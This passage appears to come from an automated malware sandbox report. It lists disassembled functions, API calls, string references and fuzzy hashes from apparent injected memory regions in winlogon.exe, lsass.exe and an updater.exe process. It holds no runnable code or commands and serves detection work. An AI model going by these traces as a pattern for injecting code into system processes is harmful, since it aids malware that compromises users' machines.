Opcode Fuzzy Hash: 769e155e8e03be1ef4aeb5f55e8b8ada6faf705201daec98c5fb8cb61498ce5a
Instruction Fuzzy Hash: 2A416072625A80C6EB209F65E4443EDF7A2FB98794F514032EE4E87794EF38C441C740

Function 000001E8589894A0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlPcToFileHeader.NTDLL ref: 000001E8589894F0
RaiseException.KERNEL32 ref: 000001E858989531

Strings

csm, xrefs: 000001E85898951E

Memory Dump Source

Source File: 00000016.00000002.3600305289.000001E858980000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001E858980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_1e858980000_winlogon.jbxd

Similarity

API ID: ExceptionFileHeaderRaise
String ID: csm
API String ID: 2573137834-1018135373
Opcode ID: 596d8aa0106168f831d5a6617a756b303fb26e5894bac8705379b132699e985d
Instruction ID: 449c3b8d4a9707330a2244a19cbde2a29dd6a88ab94e040f38e9f4c0bfe6f638
Opcode Fuzzy Hash: 596d8aa0106168f831d5a6617a756b303fb26e5894bac8705379b132699e985d
Instruction Fuzzy Hash: 5F110A36224B8182EB618F25F44439DB7E5FB88B94F584226EE8D47B69DF3CC551CB00

Function 000001E8589B7356 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 18COMMON

Download Yara Rule

APIs

__std_exception_copy.LIBVCRUNTIME ref: 000001E8589B737C

Strings

ierarchy Descriptor', xrefs: 000001E8589B7381
riptor at (, xrefs: 000001E8589B7364

Memory Dump Source

Source File: 00000016.00000002.3600610953.000001E8589B0000.00000040.00000400.00020000.00000000.sdmp, Offset: 000001E8589B0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_1e8589b0000_winlogon.jbxd

Similarity

API ID: __std_exception_copy
String ID: ierarchy Descriptor'$riptor at (
API String ID: 592178966-758928094
Opcode ID: 13d46e236c22f038e3183f277bc937bc0c01c293d14bd07e4c5c2ea041926035
Instruction ID: 0e26cef9ba68d931c57e211af9cd086a3cc8b9350f618ba4ce6d2e1c4988f689
Opcode Fuzzy Hash: 13d46e236c22f038e3183f277bc937bc0c01c293d14bd07e4c5c2ea041926035
Instruction Fuzzy Hash: 2AE08671650B84D4DF018F21E8802DC73A4EF58B64B8891339D5C06311FE38D1E9C300

Function 000001E858957356 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 18COMMON

Download Yara Rule

APIs

__std_exception_copy.LIBVCRUNTIME ref: 000001E85895737C

Strings

riptor at (, xrefs: 000001E858957364
ierarchy Descriptor', xrefs: 000001E858957381

Memory Dump Source

Source File: 00000016.00000002.3600075883.000001E858950000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001E858950000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_1e858950000_winlogon.jbxd

Similarity

API ID: __std_exception_copy
String ID: ierarchy Descriptor'$riptor at (
API String ID: 592178966-758928094
Opcode ID: 13d46e236c22f038e3183f277bc937bc0c01c293d14bd07e4c5c2ea041926035
Instruction ID: b226c5ef1287e80dd1a639188cd00b7be9ee93c87761d6bca3fa593d7edb1d27
Opcode Fuzzy Hash: 13d46e236c22f038e3183f277bc937bc0c01c293d14bd07e4c5c2ea041926035
Instruction Fuzzy Hash: 32E04F61660B84D0DB058F22E8412D873A09F58B64F8891229D5C06311EE38D1E9C300

Function 000001E8589B73B4 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 17COMMON

Download Yara Rule

APIs

__std_exception_copy.LIBVCRUNTIME ref: 000001E8589B73D8

Strings

Locator', xrefs: 000001E8589B73DD
riptor at (, xrefs: 000001E8589B73C0

Memory Dump Source

Source File: 00000016.00000002.3600610953.000001E8589B0000.00000040.00000400.00020000.00000000.sdmp, Offset: 000001E8589B0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_1e8589b0000_winlogon.jbxd

Similarity

API ID: __std_exception_copy
String ID: Locator'$riptor at (
API String ID: 592178966-4215709766
Opcode ID: af0f0512ca75cd806a30771dd11e2a0f17b9e6725b3a9df23089972a8cb9d3f7
Instruction ID: ebbb92f6b71bc6aeecd0247755a998ea3fb1c1d57f03a5a9e81a6553625eb14e
Opcode Fuzzy Hash: af0f0512ca75cd806a30771dd11e2a0f17b9e6725b3a9df23089972a8cb9d3f7
Instruction Fuzzy Hash: FDE08C71A20B88C4DF028F21E8802DCB3A4EF68B68F889133CE4C06311EE38D1E9C300

Function 000001E8589573B4 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 17COMMON

Download Yara Rule

APIs

__std_exception_copy.LIBVCRUNTIME ref: 000001E8589573D8

Strings

riptor at (, xrefs: 000001E8589573C0
Locator', xrefs: 000001E8589573DD

Memory Dump Source

Source File: 00000016.00000002.3600075883.000001E858950000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001E858950000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_1e858950000_winlogon.jbxd

Similarity

API ID: __std_exception_copy
String ID: Locator'$riptor at (
API String ID: 592178966-4215709766
Opcode ID: af0f0512ca75cd806a30771dd11e2a0f17b9e6725b3a9df23089972a8cb9d3f7
Instruction ID: d79e25d1bddce505cbefe66c1f7dc3f1dcce17b3d3d0eb5f19f21b045c52fa15
Opcode Fuzzy Hash: af0f0512ca75cd806a30771dd11e2a0f17b9e6725b3a9df23089972a8cb9d3f7
Instruction Fuzzy Hash: 4AE0B661A61B88D4DB068F62E8912D8B3A5AB68B64FC89122DE5C56355EE38D1E9C300

Function 000001E858981BF4 Relevance: 5.1, APIs: 4, Instructions: 52memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 000001E858981C2D
HeapAlloc.KERNEL32 ref: 000001E858981C3B
GetProcessHeap.KERNEL32 ref: 000001E858981C77
HeapFree.KERNEL32 ref: 000001E858981C85

Part of subcall function 000001E85898152C: StrCmpIW.SHLWAPI ref: 000001E85898155D

Memory Dump Source

Source File: 00000016.00000002.3600305289.000001E858980000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001E858980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_1e858980000_winlogon.jbxd

Similarity

API ID: Heap$Process$AllocFree
String ID:
API String ID: 756756679-0
Opcode ID: e6b128499454e36a5cfdb4ce6de946333e896a2fc86765bea62df52d9c8f7d1a
Instruction ID: bae03b9de4d8a0968d4e15549a5e41e9ffeeedaf31b7d182c916321c4c0c0085
Opcode Fuzzy Hash: e6b128499454e36a5cfdb4ce6de946333e896a2fc86765bea62df52d9c8f7d1a
Instruction Fuzzy Hash: 4E113D35721BC5C1EA55DB66E8042ADB7A1FB89FC0F184036DE4D57765DE38C4428700

Function 000001E858981268 Relevance: 5.0, APIs: 4, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 000001E85898126E
HeapAlloc.KERNEL32 ref: 000001E85898127D
GetProcessHeap.KERNEL32 ref: 000001E858981297
HeapAlloc.KERNEL32 ref: 000001E8589812A8

Memory Dump Source

Source File: 00000016.00000002.3600305289.000001E858980000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001E858980000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_1e858980000_winlogon.jbxd

Similarity

API ID: Heap$AllocProcess
String ID:
API String ID: 1617791916-0
Opcode ID: baed807eea30b690d22ace55785552a5eee2cb9bee48e50401e6fb7d80347597
Instruction ID: bf3232b7a1a84d483810c562108e731f4be810f9750f62d4ac0e33b9570d4307
Opcode Fuzzy Hash: baed807eea30b690d22ace55785552a5eee2cb9bee48e50401e6fb7d80347597
Instruction Fuzzy Hash: D6E03935721684C6EB158BA2D80838ABAE2EB89B46F0480258D0907361EF7D8499C750

Analysis Process: updater.exePID: 7368, Parent PID: 632COMMON

Execution Graph

Execution Coverage:	4.8%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	1467
Total number of Limit Nodes:	2

Executed Functions

Function 00007FF72AF21160 Relevance: 13.6, APIs: 9, Instructions: 130
sleepstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(?,?,?,00007FF72AF21156), ref: 00007FF72AF211A5
_amsg_exit.MSVCRT(?,?,?,00007FF72AF21156), ref: 00007FF72AF211CC
_initterm.MSVCRT(?,?,?,00007FF72AF21156), ref: 00007FF72AF2120F
SetUnhandledExceptionFilter.KERNEL32(?,?,?,00007FF72AF21156), ref: 00007FF72AF2124E
malloc.MSVCRT(?,?,?,00007FF72AF21156), ref: 00007FF72AF2127E
strlen.MSVCRT(?,?,?,00007FF72AF21156), ref: 00007FF72AF212A4
malloc.MSVCRT(?,?,?,00007FF72AF21156), ref: 00007FF72AF212B0
memcpy.MSVCRT(?,?,?,00007FF72AF21156), ref: 00007FF72AF212C3
_cexit.MSVCRT(?,?,?,00007FF72AF21156), ref: 00007FF72AF2132D

Memory Dump Source

Source File: 0000001C.00000002.2443890985.00007FF72AF21000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF72AF20000, based on PE: true

Associated: 0000001C.00000002.2443853890.00007FF72AF20000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000001C.00000002.2443968858.00007FF72AF29000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000001C.00000002.2444024582.00007FF72AF2B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000001C.00000002.2444683131.00007FF72B1DF000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_7ff72af20000_updater.jbxd

Similarity

API ID: malloc$ExceptionFilterSleepUnhandled_amsg_exit_cexit_inittermmemcpystrlen
String ID:
API String ID: 2643109117-0
Opcode ID: c996e7a35bf803568ca43188fa743fd5e2d0011960c1ad381c257ca82b16660a
Instruction ID: e7b4a29f77c79d9115b85e5e0f305e084bffcd74e063cc3023abd2ed82ccb677
Opcode Fuzzy Hash: c996e7a35bf803568ca43188fa743fd5e2d0011960c1ad381c257ca82b16660a
Instruction Fuzzy Hash: 0B515731A0964786F710BB69ED903B9A3A4EF89794FC050B1C94D473A1DF3CE6458B28

Non-executed Functions

Function 00007FF72AF23350 Relevance: 21.2, APIs: 9, Strings: 5, Instructions: 206
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT ref: 00007FF72AF233B2
memset.MSVCRT ref: 00007FF72AF23445
wcscpy.MSVCRT ref: 00007FF72AF2349D
wcscat.MSVCRT ref: 00007FF72AF234A8
wcslen.MSVCRT ref: 00007FF72AF234B9
memset.MSVCRT ref: 00007FF72AF235D4
wcscpy.MSVCRT ref: 00007FF72AF23635
wcscat.MSVCRT ref: 00007FF72AF23640
wcslen.MSVCRT ref: 00007FF72AF23654

Strings

@, xrefs: 00007FF72AF234F1
@, xrefs: 00007FF72AF23698
, xrefs: 00007FF72AF236DD
0, xrefs: 00007FF72AF2368D
0, xrefs: 00007FF72AF234E6

Memory Dump Source

Source File: 0000001C.00000002.2443890985.00007FF72AF21000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF72AF20000, based on PE: true

Associated: 0000001C.00000002.2443853890.00007FF72AF20000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000001C.00000002.2443968858.00007FF72AF29000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000001C.00000002.2444024582.00007FF72AF2B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000001C.00000002.2444683131.00007FF72B1DF000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_7ff72af20000_updater.jbxd

Similarity

API ID: memset$wcscatwcscpywcslen
String ID: $0$0$@$@
API String ID: 4263182637-1413854666
Opcode ID: 1ebfceb6ccbc61bfdc6d1d73518e072520c38c1920a0aba60a62dff29e637d97
Instruction ID: 62d990e6ac8d36f22e9b0b2a4253957d459964a79d5d5f1b51f462d7e6cad867
Opcode Fuzzy Hash: 1ebfceb6ccbc61bfdc6d1d73518e072520c38c1920a0aba60a62dff29e637d97
Instruction Fuzzy Hash: F7B19F6190C6C296F721AB18F8453AAF7A0FF91348F801275EA8C536A5DF7DD249CF50

Function 00007FF72AF22690 Relevance: 19.6, APIs: 8, Strings: 3, Instructions: 322
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wcsncmp.MSVCRT ref: 00007FF72AF22795
memset.MSVCRT ref: 00007FF72AF22865
wcscpy.MSVCRT ref: 00007FF72AF228CE
wcscat.MSVCRT ref: 00007FF72AF228D9
wcslen.MSVCRT ref: 00007FF72AF228E1
wcslen.MSVCRT ref: 00007FF72AF228F6
wcslen.MSVCRT ref: 00007FF72AF2296D
wcslen.MSVCRT ref: 00007FF72AF229E8

Strings

0, xrefs: 00007FF72AF2279A
`, xrefs: 00007FF72AF22B91
X, xrefs: 00007FF72AF22B79

Memory Dump Source

Source File: 0000001C.00000002.2443890985.00007FF72AF21000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF72AF20000, based on PE: true

Associated: 0000001C.00000002.2443853890.00007FF72AF20000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000001C.00000002.2443968858.00007FF72AF29000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000001C.00000002.2444024582.00007FF72AF2B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000001C.00000002.2444683131.00007FF72B1DF000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_7ff72af20000_updater.jbxd

Similarity

API ID: wcslen$memsetwcscatwcscpywcsncmp
String ID: 0$X$`
API String ID: 329590056-2527496196
Opcode ID: 8dd9b4d9794abecbbce3b974b874b08a77c89a1688d8793b7a9d9c155a3acde6
Instruction ID: 55ea07b4aa8551e0d5e40d18f80e182288c0e4c0f1d3f50816dbb91be030659c
Opcode Fuzzy Hash: 8dd9b4d9794abecbbce3b974b874b08a77c89a1688d8793b7a9d9c155a3acde6
Instruction Fuzzy Hash: 54028072908B8682F720AB19E8443AAB7A0FB85794F804375DAAC477E5DF3CD245CB54

Function 00007FF72AF21BA0 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 106
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualQuery.KERNEL32(?,?,?,?,00007FF72AF2A694,00007FF72AF2A694,?,?,00007FF72AF20000,?,00007FF72AF21991), ref: 00007FF72AF21C63
VirtualProtect.KERNEL32(?,?,?,?,00007FF72AF2A694,00007FF72AF2A694,?,?,00007FF72AF20000,?,00007FF72AF21991), ref: 00007FF72AF21CC7
memcpy.MSVCRT(?,?,?,?,00007FF72AF2A694,00007FF72AF2A694,?,?,00007FF72AF20000,?,00007FF72AF21991), ref: 00007FF72AF21CE0
GetLastError.KERNEL32(?,?,?,?,00007FF72AF2A694,00007FF72AF2A694,?,?,00007FF72AF20000,?,00007FF72AF21991), ref: 00007FF72AF21D23

Strings

VirtualQuery failed for %d bytes at address %p, xrefs: 00007FF72AF21D17
VirtualProtect failed with code 0x%x, xrefs: 00007FF72AF21D29
Address %p has no image-section, xrefs: 00007FF72AF21CF4

Memory Dump Source

Source File: 0000001C.00000002.2443890985.00007FF72AF21000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF72AF20000, based on PE: true

Associated: 0000001C.00000002.2443853890.00007FF72AF20000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000001C.00000002.2443968858.00007FF72AF29000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000001C.00000002.2444024582.00007FF72AF2B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000001C.00000002.2444683131.00007FF72B1DF000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_7ff72af20000_updater.jbxd

Similarity

API ID: Virtual$ErrorLastProtectQuerymemcpy
String ID: VirtualProtect failed with code 0x%x$ VirtualQuery failed for %d bytes at address %p$Address %p has no image-section
API String ID: 2595394609-2123141913
Opcode ID: 8a554a6fa389011197ec1d316fb9bfbcb4cc07135e3b9ec9b47a0c356bf0b17d
Instruction ID: 141a803084e2bfbe80d792c0165ea482ccb509333279e557d1122bd5403dde7a
Opcode Fuzzy Hash: 8a554a6fa389011197ec1d316fb9bfbcb4cc07135e3b9ec9b47a0c356bf0b17d
Instruction Fuzzy Hash: 1B41C575A0864783FB10AB55EC406B9A760EF95BC4FD540B2CD4D437A1DE3CE689CB28

Function 00007FF72AF238B0 Relevance: 10.6, APIs: 4, Strings: 3, Instructions: 123
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT ref: 00007FF72AF238DB
wcscpy.MSVCRT ref: 00007FF72AF2393C
wcscat.MSVCRT ref: 00007FF72AF23947
wcslen.MSVCRT ref: 00007FF72AF23958

Strings

, xrefs: 00007FF72AF239C1
0, xrefs: 00007FF72AF23988
@, xrefs: 00007FF72AF23993

Memory Dump Source

Source File: 0000001C.00000002.2443890985.00007FF72AF21000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF72AF20000, based on PE: true

Associated: 0000001C.00000002.2443853890.00007FF72AF20000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000001C.00000002.2443968858.00007FF72AF29000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000001C.00000002.2444024582.00007FF72AF2B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000001C.00000002.2444683131.00007FF72B1DF000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_7ff72af20000_updater.jbxd

Similarity

API ID: memsetwcscatwcscpywcslen
String ID: $0$@
API String ID: 468205783-2347541974
Opcode ID: 659bee40769b99f3727e1d647f561d414f9a26e08f9d5cb18db75b3f823b1ed2
Instruction ID: c291306063df9ae3f1cdccfb251be4cdc114f349684664a7519f3cbfc462e500
Opcode Fuzzy Hash: 659bee40769b99f3727e1d647f561d414f9a26e08f9d5cb18db75b3f823b1ed2
Instruction Fuzzy Hash: B861606291C6C286F720AB18F8453ABF7A0EB95394F900275EA8C42AA5DF7DD245CF14

Function 00007FF72AF22104 Relevance: 9.1, APIs: 6, Instructions: 51
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

EnterCriticalSection.KERNEL32 ref: 00007FF72AF22118
TlsGetValue.KERNEL32 ref: 00007FF72AF2214F
GetLastError.KERNEL32 ref: 00007FF72AF22154
LeaveCriticalSection.KERNEL32 ref: 00007FF72AF22212
free.MSVCRT ref: 00007FF72AF22234
DeleteCriticalSection.KERNEL32 ref: 00007FF72AF2225D

Memory Dump Source

Source File: 0000001C.00000002.2443890985.00007FF72AF21000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF72AF20000, based on PE: true

Associated: 0000001C.00000002.2443853890.00007FF72AF20000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000001C.00000002.2443968858.00007FF72AF29000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000001C.00000002.2444024582.00007FF72AF2B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000001C.00000002.2444683131.00007FF72B1DF000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_7ff72af20000_updater.jbxd

Similarity

API ID: CriticalSection$DeleteEnterErrorLastLeaveValuefree
String ID:
API String ID: 3326252324-0
Opcode ID: b536a55527d214355ccdc22c4662103ecafd3a57f3d1ce3f70d4549eef9b577b
Instruction ID: c664a024e6741b5c717b1cd42b54da2a1e55f251c4f83b6f9883925e72483dda
Opcode Fuzzy Hash: b536a55527d214355ccdc22c4662103ecafd3a57f3d1ce3f70d4549eef9b577b
Instruction Fuzzy Hash: 2621F420A49A4393FB19BB05ED80738E360EF51B94FC401B1C90E476B0DF2DFA858B20

Function 00007FF72AF21E10 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 77
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

CCG , xrefs: 00007FF72AF21E27

Memory Dump Source

Source File: 0000001C.00000002.2443890985.00007FF72AF21000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF72AF20000, based on PE: true

Associated: 0000001C.00000002.2443853890.00007FF72AF20000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000001C.00000002.2443968858.00007FF72AF29000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000001C.00000002.2444024582.00007FF72AF2B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000001C.00000002.2444683131.00007FF72B1DF000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_7ff72af20000_updater.jbxd

Similarity

API ID:
String ID: CCG
API String ID: 0-1584390748
Opcode ID: 81cc92ec2fa6e04c40e525b18e1cc1ff4a5f4b230223796d890c278b07bd10c2
Instruction ID: 7c35c1ac9ff6c9047349f380bb7f3f0b69e98b5396770db100ff47b12531985a
Opcode Fuzzy Hash: 81cc92ec2fa6e04c40e525b18e1cc1ff4a5f4b230223796d890c278b07bd10c2
Instruction Fuzzy Hash: 7221AE31E0954643FB7472189D9037A9181DF847A4FE485B1DE2D433E4DE2CEE898A6C

Function 00007FF72AF21880 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 138
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF72AF21247), ref: 00007FF72AF219F9

Strings

Unknown pseudo relocation bit size %d., xrefs: 00007FF72AF21B7B
Unknown pseudo relocation protocol version %d., xrefs: 00007FF72AF21B8B

Memory Dump Source

Source File: 0000001C.00000002.2443890985.00007FF72AF21000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF72AF20000, based on PE: true

Associated: 0000001C.00000002.2443853890.00007FF72AF20000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000001C.00000002.2443968858.00007FF72AF29000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000001C.00000002.2444024582.00007FF72AF2B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000001C.00000002.2444683131.00007FF72B1DF000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_7ff72af20000_updater.jbxd

Similarity

API ID: ProtectVirtual
String ID: Unknown pseudo relocation bit size %d.$ Unknown pseudo relocation protocol version %d.
API String ID: 544645111-395989641
Opcode ID: f55d23e6802c9323605da89ae8314c5a5c300cb13031396fec444b8fb4cb03df
Instruction ID: bfac6cfdfc8c26389d4059d5f0efc5962f16ab27a48e0a8a206f365e0c887452
Opcode Fuzzy Hash: f55d23e6802c9323605da89ae8314c5a5c300cb13031396fec444b8fb4cb03df
Instruction Fuzzy Hash: 18513C32E48546D7FB10AB25EC407B8B761EB15B98F844171D91C077A4CA3CEA9ACF28

Function 00007FF72AF21800 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 30
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

fprintf.MSVCRT ref: 00007FF72AF2185A

Strings

_matherr(): %s in %s(%g, %g) (retval=%g), xrefs: 00007FF72AF2184D
Unknown error, xrefs: 00007FF72AF21824

Memory Dump Source

Source File: 0000001C.00000002.2443890985.00007FF72AF21000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF72AF20000, based on PE: true

Associated: 0000001C.00000002.2443853890.00007FF72AF20000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000001C.00000002.2443968858.00007FF72AF29000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000001C.00000002.2444024582.00007FF72AF2B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000001C.00000002.2444683131.00007FF72B1DF000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_7ff72af20000_updater.jbxd

Similarity

API ID: fprintf
String ID: Unknown error$_matherr(): %s in %s(%g, %g) (retval=%g)
API String ID: 383729395-3474627141
Opcode ID: 6dc62383441ec21015d1a93eb8b73b3a2626f1b89f937b38c1cf0d1080ec3dd9
Instruction ID: 4c4efa94e8fa5ea027618983b2c4cc91207d35402f8223732b2e5ca8a93e5e2b
Opcode Fuzzy Hash: 6dc62383441ec21015d1a93eb8b73b3a2626f1b89f937b38c1cf0d1080ec3dd9
Instruction Fuzzy Hash: 1EF0C221E08A8583F721BB35AD810BDE361EB593C0FD09271DE4D53251DF2CE2828B10

Function 00007FF72AF2219E Relevance: 5.0, APIs: 4, Instructions: 34
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

EnterCriticalSection.KERNEL32 ref: 00007FF72AF221B2
TlsGetValue.KERNEL32 ref: 00007FF72AF221EB
GetLastError.KERNEL32 ref: 00007FF72AF221F0
LeaveCriticalSection.KERNEL32 ref: 00007FF72AF2226C

Memory Dump Source

Source File: 0000001C.00000002.2443890985.00007FF72AF21000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF72AF20000, based on PE: true

Associated: 0000001C.00000002.2443853890.00007FF72AF20000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000001C.00000002.2443968858.00007FF72AF29000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000001C.00000002.2444024582.00007FF72AF2B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000001C.00000002.2444683131.00007FF72B1DF000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_28_2_7ff72af20000_updater.jbxd

Similarity

API ID: CriticalSection$EnterErrorLastLeaveValue
String ID:
API String ID: 682475483-0
Opcode ID: d38a7a66502803ee60ea24eddf2a71f1e95afdba96137525794505a2f4712398
Instruction ID: 248b4b24ea7c9033a91c418552e7ed4224e3cd950cba69bf34c464fa56714964
Opcode Fuzzy Hash: d38a7a66502803ee60ea24eddf2a71f1e95afdba96137525794505a2f4712398
Instruction Fuzzy Hash: 8501D625A0964393F755BB15AE44678E260FF05B94FC500B1CE0D53AA4DF2DEA958A20

Analysis Process: lsass.exePID: 640, Parent PID: 3876COMMON

Execution Graph

Execution Coverage:	0.9%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	131
Total number of Limit Nodes:	10

Executed Functions

Function 00000140AE86253C Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 185
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileType.KERNEL32 ref: 00000140AE862620
StrCpyW.SHLWAPI ref: 00000140AE862639

Strings

\\.\pipe\, xrefs: 00000140AE86262B

Memory Dump Source

Source File: 0000001F.00000002.3611948582.00000140AE860000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000140AE860000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_140ae860000_lsass.jbxd

Similarity

API ID: FileType
String ID: \\.\pipe\
API String ID: 3081899298-91387939
Opcode ID: 54f1dfa0457f4d2b58266312e3bc9b9bd619b52cd53b64f893b189ad2eed13fb
Instruction ID: 006047059f567fc424369bd4eaabb636d5541b44e56c09e15fbbbd16066aee87
Opcode Fuzzy Hash: 54f1dfa0457f4d2b58266312e3bc9b9bd619b52cd53b64f893b189ad2eed13fb
Instruction Fuzzy Hash: 6E71173624078185EB26DF2BD8407EAA790F38D7A4F640126DF0D5BBA9DE34CE45C382

Function 00000140AE86202C Relevance: 4.7, APIs: 1, Strings: 2, Instructions: 162
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

StrCmpNIW.SHLWAPI ref: 00000140AE8620C6

Part of subcall function 00000140AE862F04: GetProcessHeap.KERNEL32 ref: 00000140AE862F27
Part of subcall function 00000140AE862F04: HeapAlloc.KERNEL32 ref: 00000140AE862F3A
Part of subcall function 00000140AE862F04: StrCmpNIW.SHLWAPI ref: 00000140AE862FAF
Part of subcall function 00000140AE862F04: GetProcessHeap.KERNEL32 ref: 00000140AE863015
Part of subcall function 00000140AE862F04: HeapFree.KERNEL32 ref: 00000140AE863023

Strings

S, xrefs: 00000140AE8621E7
dialer, xrefs: 00000140AE8620BF

Memory Dump Source

Source File: 0000001F.00000002.3611948582.00000140AE860000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000140AE860000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_31_2_140ae860000_lsass.jbxd

Similarity

API ID: Heap$Process$AllocFree
String ID: S$dialer
API String ID: 756756679-3873981283
Opcode ID: 10a6181ad89868b013f95f8d430f86fb0b73c76b57149a1256a42c526e771eaa
Instruction ID: 6995ce01178be5ec7128772deebd1550e485b351504c4b94060f668f1040f1af
Opcode Fuzzy Hash: 10a6181ad89868b013f95f8d430f86fb0b73c76b57149a1256a42c526e771eaa
Instruction Fuzzy Hash: 6E51BE32B5572486EB62CB2BA8406EDA3F5F7087A4F249451DF0D13BA5DB35DC91C382

Function 00000140AE861A40 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 30
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFinalPathNameByHandleW.KERNEL32 ref: 00000140AE861A60
